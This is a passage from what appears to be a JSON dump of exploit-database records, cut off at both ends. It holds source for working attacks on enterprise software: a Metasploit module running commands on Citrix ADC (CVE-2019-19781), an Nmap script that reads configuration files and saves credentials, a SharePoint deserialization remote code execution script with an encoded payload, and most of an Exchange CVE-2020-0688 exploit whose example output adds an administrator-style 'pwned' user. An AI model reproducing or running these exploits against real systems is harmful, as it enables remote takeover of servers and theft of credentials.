[CRASH_SAFE],\r\n 'Reliability' => [REPEATABLE_SESSION],\r\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\r\n }\r\n ))\r\n\r\n register_options([\r\n OptAddress.new('RHOST', [true, 'The target address'])\r\n ])\r\n\r\n register_advanced_options([\r\n OptBool.new('ForceExploit', [false, 'Override check result', false])\r\n ])\r\n\r\n deregister_options('RHOSTS')\r\n end\r\n\r\n def execute_command(command, opts = {})\r\n filename = Rex::Text.rand_text_alpha(16)\r\n nonce = Rex::Text.rand_text_alpha(6)\r\n\r\n request = {\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),\r\n 'headers' => {\r\n 'NSC_USER' => '../../../netscaler/portal/templates/' + filename,\r\n 'NSC_NONCE' => nonce\r\n },\r\n 'vars_post' => {\r\n 'url' => 'http://127.0.0.1',\r\n 'title' => \"[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]\",\r\n 'desc' => 'desc',\r\n 'UI_inuse' => 'RfWeb'\r\n },\r\n 'encode_params' => false\r\n }\r\n\r\n begin\r\n received = send_request_cgi(request)\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n return false unless received\r\n\r\n if received.code == 200\r\n vprint_status(\"#{received.get_html_document.text}\")\r\n sleep 2\r\n\r\n request = {\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),\r\n 'headers' => {\r\n 'NSC_USER' => nonce,\r\n 'NSC_NONCE' => nonce\r\n }\r\n }\r\n\r\n ## Trigger to gain exploitation.\r\n begin\r\n send_request_cgi(request)\r\n received = send_request_cgi(request)\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n return false unless received\r\n return received\r\n end\r\n\r\n return false\r\n end\r\n\r\n def get_chr_payload(command)\r\n chr_payload = command\r\n i = chr_payload.length\r\n\r\n output = \"\"\r\n chr_payload.each_char do | c |\r\n i = i - 1\r\n output << \"chr(\" << c.ord.to_s << \")\"\r\n if i != 0\r\n output << \" . \"\r\n end\r\n end\r\n\r\n return output\r\n end\r\n\r\n def check\r\n begin\r\n received = send_request_cgi(\r\n \"method\" => \"GET\",\r\n \"uri\" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')\r\n )\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n\r\n if received && received.code != 200\r\n return Exploit::CheckCode::Safe\r\n end\r\n return Exploit::CheckCode::Vulnerable\r\n end\r\n\r\n def exploit\r\n unless check.eql? Exploit::CheckCode::Vulnerable\r\n unless datastore['ForceExploit']\r\n fail_with(Failure::NotVulnerable, 'The target is not exploitable.')\r\n end\r\n else\r\n print_good('The target appears to be vulnerable.')\r\n end\r\n\r\n case target['Type']\r\n when :cmd_generic\r\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\r\n vprint_status(\"Generated command payload: #{payload.encoded}\")\r\n\r\n received = execute_command(payload.encoded)\r\n if (received) && (datastore['PAYLOAD'] == \"cmd/unix/generic\")\r\n print_warning('Dumping command output in parsed http response')\r\n print_good(\"#{received.get_html_document.text}\")\r\n else\r\n print_warning('Empty response, no command output')\r\n return\r\n end\r\n\r\n when :cmd_shell\r\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\r\n vprint_status(\"Generated command payload: #{payload.encoded}\")\r\n\r\n execute_command(payload.encoded)\r\n end\r\n end\r\n\r\nend\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33806", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-19T23:02:20", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-16T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T00:00:00", "id": "1337DAY-ID-33824", "href": "https://0day.today/exploit/description/33824", "sourceData": "# Exploit Title: Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal\r\n# CVE: CVE-2019-19781\r\n# Vulenrability: Path Traversal\r\n# Vulnerablity Discovery: Mikhail Klyuchnikov\r\n# Exploit Author: Dhiraj Mishra\r\n# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0\r\n# Vendor Homepage: https://www.citrix.com/\r\n# References: https://support.citrix.com/article/CTX267027\r\n# https://github.com/nmap/nmap/pull/1893\r\n\r\nlocal http = require \"http\"\r\nlocal stdnse = require \"stdnse\"\r\nlocal shortport = require \"shortport\"\r\nlocal table = require \"table\"\r\nlocal string = require \"string\"\r\nlocal vulns = require \"vulns\"\r\nlocal nmap = require \"nmap\"\r\nlocal io = require \"io\"\r\n\r\ndescription = [[\r\nThis NSE script checks whether the traget server is vulnerable to\r\nCVE-2019-19781\r\n]]\r\n---\r\n-- @usage\r\n-- nmap --script https-citrix-path-traversal -p <port> <host>\r\n-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args\r\noutput='file.txt'\r\n-- @output\r\n-- PORT STATE SERVICE\r\n-- 443/tcp open http\r\n-- | CVE-2019-19781:\r\n-- | Host is vulnerable to CVE-2019-19781\r\n-- @changelog\r\n-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)\r\n-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)\r\n-- @xmloutput\r\n-- <table key=\"NMAP-1\">\r\n-- <elem key=\"title\">Citrix ADC Path Traversal aka (Shitrix)</elem>\r\n-- <elem key=\"state\">VULNERABLE</elem>\r\n-- <table key=\"description\">\r\n-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5,\r\n11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path\r\n-- traversal vulnerability that allows attackers to read configurations or\r\nany other file.\r\n-- </table>\r\n-- <table key=\"dates\">\r\n-- <table key=\"disclosure\">\r\n-- <elem key=\"year\">2019</elem>\r\n-- <elem key=\"day\">17</elem>\r\n-- <elem key=\"month\">12</elem>\r\n-- </table>\r\n-- </table>\r\n-- <elem key=\"disclosure\">17-12-2019</elem>\r\n-- <table key=\"extra_info\">\r\n-- </table>\r\n-- <table key=\"refs\">\r\n-- <elem>https://support.citrix.com/article/CTX267027</elem>\r\n-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem>\r\n-- </table>\r\n-- </table>\r\n\r\nauthor = \"Dhiraj Mishra (@RandomDhiraj)\"\r\nDiscovery = \"Mikhail Klyuchnikov (@__Mn1__)\"\r\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\r\ncategories = {\"discovery\", \"intrusive\",\"vuln\"}\r\n\r\nportrule = shortport.ssl\r\n\r\naction = function(host,port)\r\n local outputFile = stdnse.get_script_args(SCRIPT_NAME..\".output\") or nil\r\n local vuln = {\r\n title = 'Citrix ADC Path Traversal',\r\n state = vulns.STATE.NOT_VULN,\r\n description = [[\r\nCitrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0,\r\n12.1, and 13.0 are vulnerable\r\nto a unauthenticated path traversal vulnerability that allows attackers to\r\nread configurations or any other file.\r\n ]],\r\n references = {\r\n 'https://support.citrix.com/article/CTX267027',\r\n 'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',\r\n },\r\n dates = {\r\n disclosure = {year = '2019', month = '12', day = '17'},\r\n },\r\n }\r\n local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)\r\n local path = \"/vpn/../vpns/cfg/smb.conf\"\r\n local response\r\n local output = {}\r\n local success = \"Host is vulnerable to CVE-2019-19781\"\r\n local fail = \"Host is not vulnerable\"\r\n local match = \"[global]\"\r\n local credentials\r\n local citrixADC\r\n response = http.get(host, port.number, path)\r\n\r\n if not response.status then\r\n stdnse.print_debug(\"Request Failed\")\r\n return\r\n end\r\n if response.status == 200 then\r\n if string.match(response.body, match) then\r\n stdnse.print_debug(\"%s: %s GET %s - 200 OK\",\r\nSCRIPT_NAME,host.targetname or host.ip, path)\r\n vuln.state = vulns.STATE.VULN\r\n citrixADC = ((\"Path traversal: https://%s:%d%s\"):format(host.targetname\r\nor host.ip,port.number, path))\r\n if outputFile then\r\n credentials = response.body:gsub('%W','.')\r\nvuln.check_results = stdnse.format_output(true, citrixADC)\r\n vuln.extra_info = stdnse.format_output(true, \"Credentials are being\r\nstored in the output file\")\r\nfile = io.open(outputFile, \"a\")\r\nfile:write(credentials, \"\\n\")\r\n else\r\n vuln.check_results = stdnse.format_output(true, citrixADC)\r\n end\r\n end\r\n elseif response.status == 403 then\r\n stdnse.print_debug(\"%s: %s GET %s - %d\", SCRIPT_NAME, host.targetname\r\nor host.ip, path, response.status)\r\n vuln.state = vulns.STATE.NOT_VULN\r\n end\r\n\r\n return vuln_report:make_output(vuln)\r\nend\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33824", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-24T09:23:53", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-11T00:00:00", "type": "zdt", "title": "Microsoft SharePoint - Deserialization Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604"], "modified": "2020-02-11T00:00:00", "id": "1337DAY-ID-33951", "href": "https://0day.today/exploit/description/33951", "sourceData": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport requests\nimport sys\nfrom xml.sax.saxutils import escape\nfrom lxml import html\nimport codecs\nimport readline\nfrom clint.arguments import Args\nimport signal\n\ndef serialize_command(cmd):\n total = \"\"\n for x in cmd:\n a = codecs.encode(x,\"utf-16be\")\n b = codecs.encode(a,\"hex\").decode('ascii')\n total += b[::-1]\n return total\n\ndef deserialize_command(cmd):\n length = len(cmd)\n s = \"\"\n for i in range(0,length,4):\n character = cmd[i]+cmd[i+1]+cmd[i+2]+cmd[i+3]\n character = character[::-1]\n c_hex = codecs.decode(character,\"hex\")\n a = codecs.decode(c_hex,\"utf-16be\")\n s += a\n\t\t\n return s\n\n####################################### \nsignal.signal(signal.SIGINT, signal.default_int_handler)\nargs = Args()\n\nmyargs = dict(args.grouped)\nif '--help' in myargs or '-h' in myargs:\n help = \"\"\"\n desharialize options:\n -h --help - This menu\n -u --url - The Sharepoint Picker.aspx URL ( e.g. http://localhost/_layouts/15/Picker.aspx )\n -c --command - The command to run on the target Sharepoint server.\n -f --file - The file containing the command to run (Useful for commands with multi-lines or characters that need escaping)\n \"\"\"\n print (help)\n exit(0)\n \nurl = ''\ncmd = ''\nfilename = ''\nif '--url' in myargs or '-u' in myargs:\n try:\n url = myargs['--url'][0]\n except:\n url = myargs['-u'][0]\n \nif '--command' in myargs or '-c' in myargs:\n if '--file' in myargs or '-f' in myargs:\n print(\"Can't use both command and file options at the same time!\")\n exit(0)\n try:\n cmd = myargs['--command'][0]\n except:\n cmd = myargs['-c'][0]\n\nif '--file' in myargs or '-f' in myargs:\n try:\n filename = myargs['--file'][0]\n except:\n filename = myargs['-f'][0]\n file = open(filename,mode='r')\n cmd = file.read()\n file.close()\n \n\nsharepoint2019and2016 = \"?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c\";\nsharepoint2013 = \"?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=15.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c\";\nsharepoint2010 = \"?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=14.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c\";\n \nPY2 = sys.version_info[0] == 2\nPY3 = sys.version_info[0] == 3\n\nif PY3:\n string_types = str,\n raw_input = input\nelse:\n string_types = basestring,\n\nif url == '':\n url = raw_input(\"Enter the SharePoint Server URL ending with Picker.aspx:\")\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',\n}\n\nfirstcall = requests.get(url,headers=headers)\nspheader = firstcall.headers.get('MicrosoftSharePointTeamServices','16')\n\nspheader = int(spheader.split('.')[0])\n\npayload = \"__bpzzzz35009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e600460056004600750027001600070007005600270006002300b500b50035009700370047005600d600e20075009600e6004600f60077003700e200d40016002700b60057000700e20085001600d600c600250056001600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500c200b50035009700370047005600d600e20075009600e6004600f60077003700e2004400160047001600e200f4002600a600560036004700440016004700160005002700f60067009600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500d500c200020035009700370047005600d600e2004400160047001600e20035005600270067009600360056003700c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3002600730073001600530036005300630013009300330043005600030083009300a300c300f3008700d600c600020067005600270037009600f600e600d30022001300e2000300220002005600e6003600f60046009600e6007600d3002200570047006600d200130063002200f300e300d000a000c3005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700d600c600e6003700a300870037009600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d6001600d2009600e600370047001600e60036005600220002008700d600c600e6003700a300870037004600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d60016002200e300d000a00002000200c30005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a0000200020002000200c300f4002600a6005600360047009400e600370047001600e600360056000200870037009600a3004700970007005600d300220085001600d600c60025005600160046005600270022000200f200e300d000a0000200020002000200c300d400560047008600f6004600e4001600d6005600e30005001600270037005600c300f200d400560047008600f6004600e4001600d6005600e300d000a0000200020002000200c300d400560047008600f60046000500160027001600d60056004700560027003700e300d000a000020002000200020002000200c3001600e600970045009700070056000200870037009600a3004700970007005600d3002200870037004600a3003700470027009600e60076002200e3006200c6004700b300250056003700f600570027003600560044009600360047009600f600e60016002700970002008700d600c600e6003700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600f20007002700560037005600e6004700160047009600f600e600720002008700d600c600e6003700a3008700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600720002008700d600c600e6003700a30035009700370047005600d600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600b3001600370037005600d6002600c6009700d300d60037003600f6002700c60096002600720002008700d600c600e6003700a3004400960016007600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600e2004400960016007600e600f60037004700960036003700b3001600370037005600d6002600c6009700d30037009700370047005600d6007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700a300b40056009700d3007200970072000200f4002600a6005600360047004500970007005600d3007200b7008700a300450097000700560002004400960016007600a30005002700f6003600560037003700d70072000200d400560047008600f6004600e4001600d6005600d3007200350047001600270047007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b3003600d60046006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b300f20036000200e200e200e200140024003400e200e200e20002006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700620076004700b3006200c6004700b300f200250056003700f600570027003600560044009600360047009600f600e600160027009700620076004700b3000200c300f2001600e60097004500970007005600e300d000a0000200020002000200c300f200d400560047008600f60046000500160027001600d60056004700560027003700e300d000a00002000200c300f20005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a000c300f2005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f60067009600460056002700e300\"\n\nassemblyvalue = sharepoint2019and2016\n\nif spheader == 15:\n assemblyvalue = sharepoint2013\nelif spheader == 14:\n assemblyvalue = sharepoint2010\nelse:\n assemblyvalue = sharepoint2019and2016\n\nFullURL = url + assemblyvalue\n\nsecondcall = requests.get(FullURL,headers=headers)\nsecondcalltext = secondcall.text\n\ntree = html.fromstring(secondcall.content)\nviewstate = ''\neventvalidation = ''\ntry:\n viewstate = tree.get_element_by_id('__VIEWSTATE')\n viewstate = viewstate.value\nexcept:\n pass\n\ntry:\n eventvalidation = tree.get_element_by_id('__EVENTVALIDATION')\n eventvalidation = eventvalidation.value\nexcept:\n pass\n\n\nif cmd == '':\n cmd = raw_input(\"Write your full command here to execute on the test target system (Make sure you have permissions from system owner):\")\n\n\n#escapedcmd = escape(cmd,html_escape_table)\ncmd = cmd.replace(\"&\",\"&\")\ncmd = cmd.replace(\">\",\">\")\ncmd = cmd.replace(\"<\",\"<\")\ncmd = cmd.replace(\"\\\"\",\"\"\")\ncmd = cmd.replace(\"'\",\"'\")\nescapedcmd = escape(cmd)\n\n\n\n\nprint(escapedcmd)\nsrlcmd = serialize_command(escapedcmd)\n\nlength = 1448 + len(escapedcmd)\nhex_length = format(length * 4,'x')\nserialized_length = hex_length[::-1]\n\npayload = payload.replace(\"e200e200e200140024003400e200e200e200\",srlcmd)\npayload = payload.replace(\"zzzz\",serialized_length)\n\nprint(\"Deserialized Payload:\")\nprint(deserialize_command(payload[8:]))\ndata = {\"__VIEWSTATE\":viewstate,\"__EVENTVALIDATION\":eventvalidation,\"ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData\":payload}\nthirdcall = requests.post(FullURL, data=data,headers=headers)\n\nprint(\"Payload launched! Check execution results. Exiting...\")\n", "sourceHref": "https://0day.today/exploit/33951", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-19T19:21:18", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "1337DAY-ID-34037", "href": "https://0day.today/exploit/description/34037", "sourceData": "# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution\n# Exploit Author: Photubias\n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688\n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys\n# Vendor Homepage: https://www.microsoft.com\n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4\n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019\n# CVE: CVE-2020-0688\n\n#! /usr/bin/env python\n# -*- coding: utf-8 -*- \n''' \n\n \n\tCopyright 2020 Photubias(c)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n \n File name CVE-2020-0688-Photubias.py\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\n\n This is a native implementation without requirements, written in Python 2.\n Works equally well on Windows as Linux (as MacOS, probably ;-)\n Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net\n\n Example Output:\n CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\"\n [+] Login worked\n [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570\n [+] Detected OWA version number 15.2.221.12\n [+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!\n [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:\n [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==\n Sending now ...\n'''\nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass\n\n## STATIC STRINGS\n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations)\nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')\n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)\nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')\n\ndef convertInt(iInput, length): \n return struct.pack(\"<I\" , int(iInput)).encode('hex')[:length]\n\ndef getYsoserialPayload(sCommand, sSessionId):\n ## PART1 of the payload to hash\n strPart1 = strSerTemplate.replace('###payload###', sCommand)\n ## Fix the length fields\n #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))\n #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))\n strLength1 = convertInt(0x06b8 + len(sCommand),4)\n strLength2 = convertInt(0x04da + len(sCommand),4)\n strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]\n strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]\n \n ## PART2 of the payload to hash\n strPart2 = '274e7bb9'\n for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'\n strPart2 = binascii.unhexlify(strPart2)\n \n strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()\n strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))\n return strResult\n\ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):\n if not sTarget[-1:] == '/': sTarget += '/'\n ## Verify Login\n lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}\n try: sResult = oOpener.open(urllib2.Request(sTarget + 